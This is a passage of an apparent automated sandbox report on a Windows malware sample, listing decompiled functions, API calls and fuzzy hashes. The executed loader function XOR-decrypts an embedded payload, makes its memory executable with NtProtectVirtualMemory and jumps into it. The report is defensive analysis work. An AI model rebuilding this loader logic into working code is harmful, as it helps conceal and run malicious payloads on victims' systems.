Instruction Fuzzy Hash: 5E418F74A04208DFDB14DF58C084AAABBF0FF48354F55C4AAE88D8B362D775A985CF51

Uniqueness

Uniqueness Score: -1.00%

Function 00B17480 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 76fileCOMMON

Download Yara Rule

APIs

WriteFile.KERNEL32 ref: 00B17575
GetLastError.KERNEL32 ref: 00B17587

Strings

write failed: %lu, xrefs: 00B1758D

Memory Dump Source

Source File: 00000001.00000002.300701212.0000000000B11000.00000020.00000001.01000000.00000004.sdmp, Offset: 00B10000, based on PE: true

Associated: 00000001.00000002.300683136.0000000000B10000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.300818017.0000000000B2C000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.300845205.0000000000B34000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.300861090.0000000000B39000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_b10000_febcldoukq.jbxd

Similarity

API ID: ErrorFileLastWrite
String ID: write failed: %lu
API String ID: 442123175-171016427
Opcode ID: d2644c2fd44a2d24c24f67d0e74d6a486134529b187b89449dc0e87a26cd39cf
Instruction ID: d1d8cf221a06f1fae83d15218047a05db28df60601f4f254094e4f8c3bfb6ad4
Opcode Fuzzy Hash: d2644c2fd44a2d24c24f67d0e74d6a486134529b187b89449dc0e87a26cd39cf
Instruction Fuzzy Hash: 4F31D4B05082459FCB00EF18C488AEA7BF6EF54355F4189A9F8898B351D774E9D4CB82

Uniqueness

Uniqueness Score: -1.00%

Function 00B175B0 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 40fileCOMMON

Download Yara Rule

APIs

WriteFile.KERNEL32 ref: 00B17617
GetLastError.KERNEL32 ref: 00B17629

Strings

write failed: %lu, xrefs: 00B1762F

Memory Dump Source

Source File: 00000001.00000002.300701212.0000000000B11000.00000020.00000001.01000000.00000004.sdmp, Offset: 00B10000, based on PE: true

Associated: 00000001.00000002.300683136.0000000000B10000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.300818017.0000000000B2C000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.300845205.0000000000B34000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.300861090.0000000000B39000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_b10000_febcldoukq.jbxd

Similarity

API ID: ErrorFileLastWrite
String ID: write failed: %lu
API String ID: 442123175-171016427
Opcode ID: 0c82012d2167a17ac64e85ad5364cb8017cece8db2ce26a7fe3b07f5578f58d5
Instruction ID: 986bd848135bfb21239294e3e84a5444773487822edb1ae0190d31dcec193554
Opcode Fuzzy Hash: 0c82012d2167a17ac64e85ad5364cb8017cece8db2ce26a7fe3b07f5578f58d5
Instruction Fuzzy Hash: FF1105705083049FC700EF1CD488BAA7BF5EB54355F5185B9E8898B351DB74D9D4CB92

Uniqueness

Uniqueness Score: -1.00%

Analysis Process: febcldoukq.exePID: 5828, Parent PID: 5816COMMON

Execution Graph

Execution Coverage:	5.3%
Dynamic/Decrypted Code Coverage:	0%
Signature Coverage:	3.2%
Total number of Nodes:	625
Total number of Limit Nodes:	81

Executed Functions

Function 004012A4 Relevance: 3.7, APIs: 1, Strings: 1, Instructions: 186
nativeCOMMONCrypto

Download Yara Rule

Control-flow Graph

Executed
Not Executed

C-Code - Quality: 49%

			E004012A4(signed char __eax, unsigned int __ebx, void* __ecx, void* __edx) {
				short _v2;
				long _v4;
				intOrPtr _v8;
				short _v12;
				signed int _v16;
				intOrPtr _v20;
				intOrPtr _v24;
				intOrPtr _v28;
				signed int _v32;
				char _v33;
				short _v35;
				long _v39;
				short _v40;
				signed int _v48;
				signed int _v52;
				signed int _v56;
				signed int _v60;
				signed int _v64;
				void* _v68;
				intOrPtr _v76;
				intOrPtr _v80;
				char _v81;
				short _v83;
				long _v87;
				short _v88;
				short _v92;
				signed int _v96;
				char _v104;
				char _v112;
				char _v113;
				char _v114;
				signed int _v116;
				long _v120;
				long _v124;
				short _v126;
				short _v130;
				char _v148;
				char _v160;
				signed char _t86;
				void* _t98;
				void* _t110;
				void* _t126;
				signed int _t130;
				void* _t136;
				void* _t138;
				unsigned int _t141;
				void* _t148;
				unsigned int _t149;
				signed int _t151;

				_t86 = __eax;
				_t121 = __ebx >> 1;
				_t149 = _t121;
				if(_t149 >= 0) {
					L3:
					_t151 = _t86 & 0x00000000;
					 *_t86 =  *_t86 + _t86;
					asm("xorps xmm0, xmm0");
					asm("movq [ebp-0x67], xmm0");
					asm("movq [ebp-0x5f], xmm0");
					asm("movq [ebp-0x6f], xmm0");
					asm("movq [ebp-0x37], xmm0");
					asm("movq [ebp-0x2f], xmm0");
					asm("movdqa [ebp-0x70], xmm0");
				} else {
					if(_t149 > 0) {
						_push(_t121);
						_t121 = _t141;
						_t148 = (_t141 - 0x00000008 & 0xfffffff0) + 4;
						_push(_t138);
						_v8 =  *((intOrPtr*)(_t141 + 4));
						_t138 = _t148;
						_t141 = _t148 - 0xa8;
						goto L3;
					}
				}
				asm("movq [ebp-0x70], mm0");
				asm("movq [ebp-0x3f], xmm0");
				asm("movq [ebp-0x9c], xmm0");
				asm("movq [ebp-0x60], xmm0");
				_v80 = 0xdf82a1b5;
				_v76 = 0x961d1ca3;
				asm("movq xmm0, [ebp-0x50]");
				asm("movq [ebp-0x70], xmm0");
				asm("xorps xmm0, xmm0");
				_v104 = 0x28;
				asm("movdqa [ebp-0x40], xmm0");
				asm("movq [ebp-0x30], xmm0");
				_v32 = 0x9866c596;
				asm("movq [ebp-0xc], xmm0");
				_v28 = 0x7b1dba2;
				asm("movq xmm0, [ebp-0x20]");
				asm("movq [ebp-0x40], xmm0");
				_v60 = _v60 ^ 0x10222f38;
				_v64 = _v32 ^ 0x10222f38;
				_v16 = 0xf7da08e6;
				_v24 = 0x691d4748;
				_v20 = 0x87e62da;
				asm("movq xmm0, [ebp-0x18]");
				asm("movq [ebp-0x38], xmm0");
				_v56 = _v56 ^ 0x10222f38;
				_v52 = _v52 ^ 0x10222f38;
				_v87 = 0;
				_v39 = 0;
				_v160 = 0;
				_v83 = 0;
				_v81 = 0;
				_v35 = 0;
				_v33 = 0;
				_v88 = 0;
				_v40 = 0;
				_v4 = 0;
				_v48 = _v16 ^ 0x10222f38;
				E004016B0(_t121,  &_v112, 9,  &_v64);
				_v148 = 0;
				_v130 = 0;
				_v126 = 0;
				asm("xorps xmm0, xmm0");
				asm("movq [ebp-0x92], xmm0");
				asm("movq [ebp-0x8a], xmm0");
				E00401260( &_v148,  &_v112);
				_t98 = E00401190(_t151,  &_v148);
				asm("xorps xmm0, xmm0");
				asm("movdqa [ebp-0x70], xmm0");
				asm("movq [ebp-0x60], xmm0");
				_v88 = 0;
				E004016B0(_t121,  &_v112, 0xa,  &_v64);
				asm("xorps xmm0, xmm0");
				asm("movq [ebp-0x60], xmm0");
				_v16 = 0x5a1c48e0;
				_v96 = _v16;
				_v12 = 0xfb7d;
				asm("movdqa [ebp-0x70], xmm0");
				_v92 = _v12;
				asm("movq [ebp-0xa], xmm0");
				_v32 = 0x63682b43;
				_v28 = 0xbf4e8842;
				asm("movq xmm0, [ebp-0x20]");
				asm("movq [ebp-0x70], xmm0");
				_v24 = 0x7757d946;
				_v20 = 0xc888339;
				asm("movq xmm0, [ebp-0x18]");
				_v88 = 0;
				_v2 = 0;
				asm("movq [ebp-0x68], xmm0");
				E004016B0(_t121,  &_v112, 0x16,  &_v64);
				E004010A0( &_v160, _t98,  &_v112, 0, 0);
				_v68 = 0;
				_t110 = E00401730();
				_t126 = 0;
				while(1) {
					_t130 =  *(_t126 + _t110) ^ 0x11a7a880;
					_v116 = _t130;
					if(_t130 == 0x3e && _t130 == 0x97 && _v114 == 0xbd && _v113 == 0xba) {
						break;
					}
					_t126 = _t126 + 1;
					if(_t126 < 0x4000) {
						continue;
					} else {
						_t136 = _v68;
					}
					L11:
					_v120 = 0;
					_v124 = 0x2ca00;
					NtProtectVirtualMemory(0xffffffff,  &_v68,  &_v124, 0x40,  &_v120); // executed
					_v64 = _v64 ^ 0x11a7a880;
					_v60 = _v60 ^ 0x11a7a880;
					_v56 = _v56 ^ 0x11a7a880;
					_v52 = _v52 ^ 0x11a7a880;
					_v48 = _v48 ^ 0x11a7a880;
					E004016B0(_t121, _t136, 0x2ca00,  &_v64);
					_t83 = _t136 + 0x21810; // 0x21810, executed
					 *_t83(); // executed
					return 0;
				}
				_t136 = _t126 + _t110;
				_v68 = _t136;
				goto L11;
			}

0x004012a4
0x004012aa
0x004012aa
0x004012ac
0x004012c8
0x004012c8
0x004012ca
0x004012ce
0x004012d1
0x004012d6
0x004012db
0x004012e0
0x004012e5
0x004012ea
0x004012ae
0x004012ae
0x004012b0
0x004012b1
0x004012b9
0x004012bc
0x004012c0
0x004012c4
0x004012c6
0x00000000
0x004012c6
0x004012ae
0x004012eb
0x004012ef
0x004012f4
0x004012fc
0x00401301
0x00401308
0x0040130f
0x00401314
0x00401319
0x0040131e
0x00401321
0x00401326
0x0040132b
0x00401335
0x0040133f
0x00401346
0x0040134b
0x00401350
0x00401357
0x0040135e
0x00401368
0x0040136f
0x00401376
0x0040137e
0x00401383
0x0040138a
0x00401399
0x004013a0
0x004013a8
0x004013b2
0x004013b8
0x004013bc
0x004013c2
0x004013c6
0x004013cc
0x004013d2
0x004013d9
0x004013dc
0x004013e3
0x004013ea
0x004013f0
0x004013f8
0x00401402
0x0040140a
0x00401412
0x0040141e
0x00401429
0x00401431
0x00401436
0x0040143b
0x00401442
0x00401447
0x0040144a
0x0040144f
0x00401459
0x0040145c
0x00401466
0x0040146b
0x0040146f
0x00401478
0x0040147f
0x00401486
0x0040148b
0x00401493
0x0040149a
0x004014a1
0x004014a9
0x004014af
0x004014b5
0x004014ba
0x004014cf
0x004014d9
0x004014e0
0x004014e5
0x004014f0
0x004014f3
0x004014f9
0x004014ff
0x00000000
0x00000000
0x00401512
0x00401519
0x00000000
0x0040151b
0x0040151b
0x0040151b
0x0040151e
0x0040152e
0x00401535
0x0040153c
0x0040153e
0x00401545
0x0040154c
0x00401553
0x0040155a
0x0040156b
0x00401573
0x00401579
0x00401585
0x00401585
0x00401586
0x00401589
0x00000000

APIs

NtProtectVirtualMemory.NTDLL(000000FF,00000000,?,00000040,?), ref: 0040153C

Strings

C+hc, xrefs: 00401478

Memory Dump Source

Source File: 00000002.00000002.393032745.0000000000400000.00000040.80000000.00040000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_febcldoukq.jbxd

Yara matches

Similarity

API ID: MemoryProtectVirtual
String ID: C+hc
API String ID: 2706961497-3848425603
Opcode ID: 6c6a0a142887b784e5fa5ce0febc2e7f11be7be009093d5d6fe39cd23954e054
Instruction ID: 5f2fc46273f2a988fd33b2da9c61ea0e16046221c740d3513727dfc5c87a36e1
Opcode Fuzzy Hash: 6c6a0a142887b784e5fa5ce0febc2e7f11be7be009093d5d6fe39cd23954e054
Instruction Fuzzy Hash: 758146B1C2075CAADF10CFE4CC41AEEBBB4BF99300F60421EE415BB291EB7516858B95

Uniqueness

Uniqueness Score: -1.00%

Function 004012B0 Relevance: 3.7, APIs: 1, Strings: 1, Instructions: 182
nativeCOMMONCrypto

Download Yara Rule

Control-flow Graph

Executed
Not Executed

C-Code - Quality: 47%

			_entry_(signed int __eax) {
				intOrPtr _v8;
				short _v14;
				long _v16;
				short _v24;
				signed int _v28;
				intOrPtr _v32;
				intOrPtr _v36;
				intOrPtr _v40;
				signed int _v44;
				char _v45;
				short _v47;
				long _v51;
				short _v52;
				signed int _v60;
				signed int _v64;
				signed int _v68;
				signed int _v72;
				signed int _v76;
				void* _v80;
				intOrPtr _v88;
				intOrPtr _v92;
				char _v93;
				short _v95;
				long _v99;
				short _v100;
				short _v104;
				signed int _v108;
				char _v116;
				char _v124;
				char _v125;
				char _v126;
				signed int _v128;
				long _v132;
				long _v136;
				short _v138;
				short _v142;
				char _v160;
				char _v172;
				void* __ebx;
				void* _t97;
				void* _t109;
				void* _t122;
				signed int _t124;
				void* _t130;
				void* _t136;
				signed int _t146;

				_t119 = _t136;
				_v8 =  *((intOrPtr*)(_t136 + 4));
				_t146 = __eax & 0x00000000;
				 *__eax =  *__eax + __eax;
				asm("xorps xmm0, xmm0");
				asm("movq [ebp-0x67], xmm0");
				asm("movq [ebp-0x5f], xmm0");
				asm("movq [ebp-0x6f], xmm0");
				asm("movq [ebp-0x37], xmm0");
				asm("movq [ebp-0x2f], xmm0");
				asm("movdqa [ebp-0x70], xmm0");
				asm("movq [ebp-0x70], mm0");
				asm("movq [ebp-0x3f], xmm0");
				asm("movq [ebp-0x9c], xmm0");
				asm("movq [ebp-0x60], xmm0");
				_v92 = 0xdf82a1b5;
				_v88 = 0x961d1ca3;
				asm("movq xmm0, [ebp-0x50]");
				asm("movq [ebp-0x70], xmm0");
				asm("xorps xmm0, xmm0");
				_v116 = 0x28;
				asm("movdqa [ebp-0x40], xmm0");
				asm("movq [ebp-0x30], xmm0");
				_v44 = 0x9866c596;
				asm("movq [ebp-0xc], xmm0");
				_v40 = 0x7b1dba2;
				asm("movq xmm0, [ebp-0x20]");
				asm("movq [ebp-0x40], xmm0");
				_v72 = _v72 ^ 0x10222f38;
				_v76 = _v44 ^ 0x10222f38;
				_v28 = 0xf7da08e6;
				_v36 = 0x691d4748;
				_v32 = 0x87e62da;
				asm("movq xmm0, [ebp-0x18]");
				asm("movq [ebp-0x38], xmm0");
				_v68 = _v68 ^ 0x10222f38;
				_v64 = _v64 ^ 0x10222f38;
				_v99 = 0;
				_v51 = 0;
				_v172 = 0;
				_v95 = 0;
				_v93 = 0;
				_v47 = 0;
				_v45 = 0;
				_v100 = 0;
				_v52 = 0;
				_v16 = 0;
				_v60 = _v28 ^ 0x10222f38;
				E004016B0(_t119,  &_v124, 9,  &_v76);
				_v160 = 0;
				_v142 = 0;
				_v138 = 0;
				asm("xorps xmm0, xmm0");
				asm("movq [ebp-0x92], xmm0");
				asm("movq [ebp-0x8a], xmm0");
				E00401260( &_v160,  &_v124);
				_t97 = E00401190(_t146,  &_v160);
				asm("xorps xmm0, xmm0");
				asm("movdqa [ebp-0x70], xmm0");
				asm("movq [ebp-0x60], xmm0");
				_v100 = 0;
				E004016B0(_t119,  &_v124, 0xa,  &_v76);
				asm("xorps xmm0, xmm0");
				asm("movq [ebp-0x60], xmm0");
				_v28 = 0x5a1c48e0;
				_v108 = _v28;
				_v24 = 0xfb7d;
				asm("movdqa [ebp-0x70], xmm0");
				_v104 = _v24;
				asm("movq [ebp-0xa], xmm0");
				_v44 = 0x63682b43;
				_v40 = 0xbf4e8842;
				asm("movq xmm0, [ebp-0x20]");
				asm("movq [ebp-0x70], xmm0");
				_v36 = 0x7757d946;
				_v32 = 0xc888339;
				asm("movq xmm0, [ebp-0x18]");
				_v100 = 0;
				_v14 = 0;
				asm("movq [ebp-0x68], xmm0");
				E004016B0(_t119,  &_v124, 0x16,  &_v76);
				E004010A0( &_v172, _t97,  &_v124, 0, 0);
				_v80 = 0;
				_t109 = E00401730();
				_t122 = 0;
				while(1) {
					_t124 =  *(_t122 + _t109) ^ 0x11a7a880;
					_v128 = _t124;
					if(_t124 == 0x3e && _t124 == 0x97 && _v126 == 0xbd && _v125 == 0xba) {
						break;
					}
					_t122 = _t122 + 1;
					if(_t122 < 0x4000) {
						continue;
					} else {
						_t130 = _v80;
					}
					L9:
					_v132 = 0;
					_v136 = 0x2ca00;
					NtProtectVirtualMemory(0xffffffff,  &_v80,  &_v136, 0x40,  &_v132); // executed
					_v76 = _v76 ^ 0x11a7a880;
					_v72 = _v72 ^ 0x11a7a880;
					_v68 = _v68 ^ 0x11a7a880;
					_v64 = _v64 ^ 0x11a7a880;
					_v60 = _v60 ^ 0x11a7a880;
					E004016B0(_t119, _t130, 0x2ca00,  &_v76);
					_t82 = _t130 + 0x21810; // 0x21810, executed
					 *_t82(); // executed
					return 0;
				}
				_t130 = _t122 + _t109;
				_v80 = _t130;
				goto L9;
			}

0x004012b1
0x004012c0
0x004012c8
0x004012ca
0x004012ce
0x004012d1
0x004012d6
0x004012db
0x004012e0
0x004012e5
0x004012ea
0x004012eb
0x004012ef
0x004012f4
0x004012fc
0x00401301
0x00401308
0x0040130f
0x00401314
0x00401319
0x0040131e
0x00401321
0x00401326
0x0040132b
0x00401335
0x0040133f
0x00401346
0x0040134b
0x00401350
0x00401357
0x0040135e
0x00401368
0x0040136f
0x00401376
0x0040137e
0x00401383
0x0040138a
0x00401399
0x004013a0
0x004013a8
0x004013b2
0x004013b8
0x004013bc
0x004013c2
0x004013c6
0x004013cc
0x004013d2
0x004013d9
0x004013dc
0x004013e3
0x004013ea
0x004013f0
0x004013f8
0x00401402
0x0040140a
0x00401412
0x0040141e
0x00401429
0x00401431
0x00401436
0x0040143b
0x00401442
0x00401447
0x0040144a
0x0040144f
0x00401459
0x0040145c
0x00401466
0x0040146b
0x0040146f
0x00401478
0x0040147f
0x00401486
0x0040148b
0x00401493
0x0040149a
0x004014a1
0x004014a9
0x004014af
0x004014b5
0x004014ba
0x004014cf
0x004014d9
0x004014e0
0x004014e5
0x004014f0
0x004014f3
0x004014f9
0x004014ff
0x00000000
0x00000000
0x00401512
0x00401519
0x00000000
0x0040151b
0x0040151b
0x0040151b
0x0040151e
0x0040152e
0x00401535
0x0040153c
0x0040153e
0x00401545
0x0040154c
0x00401553
0x0040155a
0x0040156b
0x00401573
0x00401579
0x00401585
0x00401585
0x00401586
0x00401589
0x00000000

APIs

NtProtectVirtualMemory.NTDLL(000000FF,00000000,?,00000040,?), ref: 0040153C

Strings

C+hc, xrefs: 00401478

Memory Dump Source

Source File: 00000002.00000002.393032745.0000000000400000.00000040.80000000.00040000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_febcldoukq.jbxd

Yara matches

Similarity

API ID: MemoryProtectVirtual
String ID: C+hc
API String ID: 2706961497-3848425603
Opcode ID: 26f1120809d1feb0c163b61a0abebeb7254256f3a3cdf450942e01968005958d
Instruction ID: fcc810aa046927e03f53f1a9924a5796219225d0523ae0329bd7461604c32dc9
Opcode Fuzzy Hash: 26f1120809d1feb0c163b61a0abebeb7254256f3a3cdf450942e01968005958d
Instruction Fuzzy Hash: 5E8135B1C2075CAADF10CFE4CC41AEEBBB4BF99300F60421AE415BB291EB7516858B95

Uniqueness

Uniqueness Score: -1.00%

Function 0041E081 Relevance: 3.5, APIs: 1, Strings: 1, Instructions: 35
memorynativeCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

C-Code - Quality: 53%

			E0041E081(void* __ecx, intOrPtr _a8, void* _a12, PVOID* _a16, long _a20, long* _a24, long _a28, char _a32) {
				long _t14;

				asm("outsb");
				asm("cld");
				asm("sbb edx, [ebp-0x75]");
				_t10 = _a8;
				E0041EB17( *((intOrPtr*)(_a8 + 0x14)), _t10, _t10 + 0xc84,  *((intOrPtr*)(_a8 + 0x14)), 0, 0x30);
				_t4 =  &_a32; // 0x404448
				_t14 = NtAllocateVirtualMemory(_a12, _a16, _a20, _a24, _a28,  *_t4); // executed
				return _t14;
			}

0x0041e081
0x0041e083
0x0041e086
0x0041e08a
0x0041e09e
0x0041e0a3
0x0041e0c0
0x0041e0c4

APIs

NtAllocateVirtualMemory.NTDLL(00000004,00003000,00002000,00000000,?,HD@,00002000,00003000,00000004), ref: 0041E0C0

Strings

HD@, xrefs: 0041E0A3, 0041E0AF

Memory Dump Source

Source File: 00000002.00000002.393032745.0000000000400000.00000040.80000000.00040000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_febcldoukq.jbxd

Yara matches

Similarity

API ID: AllocateMemoryVirtual
String ID: HD@
API String ID: 2167126740-1661062907
Opcode ID: 387b29607ff46aa32d144c1736e2695b69092b8efe425d994f9ebe1e44ae0b07
Instruction ID: 13dc513da67dbfdf35d7b2783610b2457132d1ee3ed132f4f05716f0de5edc6f
Opcode Fuzzy Hash: 387b29607ff46aa32d144c1736e2695b69092b8efe425d994f9ebe1e44ae0b07
Instruction Fuzzy Hash: 8BF0FEB6210118AFDB18DFA9DC81EDB77A9EF88354F118209FE0997241D635F911CBB4

Uniqueness

Uniqueness Score: -1.00%

Function 0041E087 Relevance: 3.5, APIs: 1, Strings: 1, Instructions: 30
memorynativeCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

C-Code - Quality: 100%

			E0041E087(intOrPtr _a4, void* _a8, PVOID* _a12, long _a16, long* _a20, long _a24, char _a28) {
				long _t14;

				E0041EB17( *((intOrPtr*)(_a4 + 0x14)), _a4, _t10 + 0xc84,  *((intOrPtr*)(_a4 + 0x14)), 0, 0x30);
				_t4 =  &_a28; // 0x404448
				_t14 = NtAllocateVirtualMemory(_a8, _a12, _a16, _a20, _a24,  *_t4); // executed
				return _t14;
			}

0x0041e09e
0x0041e0a3
0x0041e0c0
0x0041e0c4

APIs

NtAllocateVirtualMemory.NTDLL(00000004,00003000,00002000,00000000,?,HD@,00002000,00003000,00000004), ref: 0041E0C0

Strings

HD@, xrefs: 0041E0A3, 0041E0AF

Memory Dump Source

Source File: 00000002.00000002.393032745.0000000000400000.00000040.80000000.00040000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_febcldoukq.jbxd

Yara matches

Similarity

API ID: AllocateMemoryVirtual
String ID: HD@
API String ID: 2167126740-1661062907
Opcode ID: ff407167e8468b06ad404ccbb9f5efcd270d3cf321b6c6ce0313f5831c1888d1
Instruction ID: f463faf2946c0d4d74eccb42d7aa3306e3984d4a8e1b0def0a1c2f8da30aeccc
Opcode Fuzzy Hash: ff407167e8468b06ad404ccbb9f5efcd270d3cf321b6c6ce0313f5831c1888d1
Instruction Fuzzy Hash: B0F015B6200218ABCB18DF89DC81EEB77ADAF88754F018109BE0997241C630F810CBB4

Uniqueness

Uniqueness Score: -1.00%

Function 0040C317 Relevance: 1.5, APIs: 1, Instructions: 48
libraryloaderCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

C-Code - Quality: 100%

			E0040C317(void* __eflags, void* _a4, intOrPtr _a8) {
				char* _v8;
				struct _EXCEPTION_RECORD _v12;
				struct _OBJDIR_INFORMATION _v16;
				char _v536;
				void* _t15;
				struct _OBJDIR_INFORMATION _t17;
				struct _OBJDIR_INFORMATION _t18;
				void* _t30;
				void* _t31;
				void* _t32;

				_v8 =  &_v536;
				_t15 = E00420837( &_v12, 0x104, _a8);
				_t31 = _t30 + 0xc;
				if(_t15 != 0) {
					_t17 = E00420C57(__eflags, _v8);
					_t32 = _t31 + 4;
					__eflags = _t17;
					if(_t17 != 0) {
						E00420ED7( &_v12, 0);
						_t32 = _t32 + 8;
					}
					_t18 = E0041F0B7(_v8);
					_v16 = _t18;
					__eflags = _t18;
					if(_t18 == 0) {
						LdrLoadDll(0, 0,  &_v12,  &_v16); // executed
						return _v16;
					}
					return _t18;
				} else {
					return _t15;
				}
			}

0x0040c333
0x0040c336
0x0040c33b
0x0040c340
0x0040c34a
0x0040c34f
0x0040c352
0x0040c354
0x0040c35c
0x0040c361
0x0040c361
0x0040c368
0x0040c370
0x0040c373
0x0040c375
0x0040c389
0x00000000
0x0040c38b
0x0040c391
0x0040c345
0x0040c345
0x0040c345

APIs

LdrLoadDll.NTDLL(00000000,00000000,00000003,?), ref: 0040C389

Memory Dump Source

Source File: 00000002.00000002.393032745.0000000000400000.00000040.80000000.00040000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_febcldoukq.jbxd

Yara matches

Similarity

API ID: Load
String ID:
API String ID: 2234796835-0
Opcode ID: 064fc8b9e47045ed70fd012ce6989d3b14e09ff0de191e258dc97656c0333484
Instruction ID: 3ed70020f7d6b18ccec5613b1dbda4d69e0aa25de14af4a900ab92096e63d096
Opcode Fuzzy Hash: 064fc8b9e47045ed70fd012ce6989d3b14e09ff0de191e258dc97656c0333484
Instruction Fuzzy Hash: 5D0100B5E00209A7DB10DBA5DC82F9EB7B89F54304F0082A5AD08A7281F635EB588B95

Uniqueness

Uniqueness Score: -1.00%

Function 004014E9 Relevance: 1.5, APIs: 1, Instructions: 48
nativeCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

C-Code - Quality: 58%

			E004014E9(void* __eax, void* __ebx, void* __ecx) {
				void* _t25;
				void* _t35;
				void* _t37;
				signed int _t39;
				void* _t41;
				void* _t43;

				_t37 = __ecx;
				_t35 = __ebx;
				_t25 = __eax;
				while(1) {
					_t39 =  *(_t37 + _t25) ^ 0x11a7a880;
					 *(_t43 - 0x74) = _t39;
					if(_t39 == 0x3e && _t39 == 0x97 &&  *((char*)(_t43 - 0x72)) == 0xbd &&  *((char*)(_t43 - 0x71)) == 0xba) {
						break;
					}
					_t37 = _t37 + 1;
					if(_t37 < 0x4000) {
						continue;
					} else {
						_t41 =  *(_t43 - 0x44);
					}
					L7:
					 *(_t43 - 0x78) = 0;
					 *(_t43 - 0x7c) = 0x2ca00;
					NtProtectVirtualMemory(0xffffffff, _t43 - 0x44, _t43 - 0x7c, 0x40, _t43 - 0x78); // executed
					 *(_t43 - 0x40) =  *(_t43 - 0x40) ^ 0x11a7a880;
					 *(_t43 - 0x3c) =  *(_t43 - 0x3c) ^ 0x11a7a880;
					 *(_t43 - 0x38) =  *(_t43 - 0x38) ^ 0x11a7a880;
					 *(_t43 - 0x34) =  *(_t43 - 0x34) ^ 0x11a7a880;
					 *(_t43 - 0x30) =  *(_t43 - 0x30) ^ 0x11a7a880;
					E004016B0(_t35, _t41, 0x2ca00, _t43 - 0x40);
					_t22 = _t41 + 0x21810; // 0x21810, executed
					 *_t22(); // executed
					return 0;
				}
				_t41 = _t37 + _t25;
				 *(_t43 - 0x44) = _t41;
				goto L7;
			}

0x004014e9
0x004014e9
0x004014e9
0x004014f0
0x004014f3
0x004014f9
0x004014ff
0x00000000
0x00000000
0x00401512
0x00401519
0x00000000
0x0040151b
0x0040151b
0x0040151b
0x0040151e
0x0040152e
0x00401535
0x0040153c
0x0040153e
0x00401545
0x0040154c
0x00401553
0x0040155a
0x0040156b
0x00401573
0x00401579
0x00401585
0x00401585
0x00401586
0x00401589
0x00000000

APIs

NtProtectVirtualMemory.NTDLL(000000FF,00000000,?,00000040,?), ref: 0040153C

Memory Dump Source

Source File: 00000002.00000002.393032745.0000000000400000.00000040.80000000.00040000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_febcldoukq.jbxd

Yara matches

Similarity

API ID: MemoryProtectVirtual
String ID:
API String ID: 2706961497-0
Opcode ID: 9687d2587e9857bb39df220e0e3cf835e89e689ab03871ec4c15cd7860a66439
Instruction ID: 2b90622f39393b0058c2aa15a19c005d267b5dc71508bad4b704c993792a708c
Opcode Fuzzy Hash: 9687d2587e9857bb39df220e0e3cf835e89e689ab03871ec4c15cd7860a66439
Instruction Fuzzy Hash: C7115471D146486EDF29CAF4DC41ADFBBB4EF40324F64022ED922A71E1D73619468B85

Uniqueness

Uniqueness Score: -1.00%

Function 0041DEA7 Relevance: 1.5, APIs: 1, Instructions: 40
filenativeCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

C-Code - Quality: 100%

			E0041DEA7(intOrPtr _a4, HANDLE* _a8, long _a12, struct _EXCEPTION_RECORD _a16, struct _ERESOURCE_LITE _a20, struct _GUID _a24, long _a28, long _a32, long _a36, long _a40, void* _a44, long _a48) {
				long _t21;

				_t3 = _a4 + 0xc64; // 0xc64
				E0041EB17( *((intOrPtr*)(_a4 + 0x14)), _t15, _t3,  *((intOrPtr*)(_a4 + 0x14)), 0, 0x28);
				_t21 = NtCreateFile(_a8, _a12, _a16, _a20, _a24, _a28, _a32, _a36, _a40, _a44, _a48); // executed
				return _t21;
			}

0x0041deb6
0x0041debe
0x0041def4
0x0041def8

APIs

NtCreateFile.NTDLL(00000060,00000005,00000000,004187E3,00000005,FFFFFFFF,?,?,FFFFFFFF,00000005,004187E3,00000000,00000005,00000060,00000000,00000000), ref: 0041DEF4

Memory Dump Source

Source File: 00000002.00000002.393032745.0000000000400000.00000040.80000000.00040000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_febcldoukq.jbxd

Yara matches

Similarity

API ID: CreateFile
String ID:
API String ID: 823142352-0
Opcode ID: e85e77ba2c54ed5fbcc428c4a95e80045b35a7a87df5efc95b4940160543289c
Instruction ID: caa4313a033a612cc3db5c025c9ef0f97435adee46135c765efab3485d53b6e5
Opcode Fuzzy Hash: e85e77ba2c54ed5fbcc428c4a95e80045b35a7a87df5efc95b4940160543289c
Instruction Fuzzy Hash: 64F0BDB2204208ABCB08CF89DC85EEB37ADAF8C754F018208BA0997241D630F851CBA4

Uniqueness

Uniqueness Score: -1.00%

Function 0041DF52 Relevance: 1.5, APIs: 1, Instructions: 37
filenativeCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

C-Code - Quality: 19%

			E0041DF52(void* __eax, void* __esi, intOrPtr _a4, intOrPtr _a8, intOrPtr _a12, intOrPtr _a16, intOrPtr _a20, intOrPtr _a24, intOrPtr _a28, intOrPtr _a32, intOrPtr _a36, intOrPtr _a40) {
				void* _t21;
				intOrPtr* _t32;
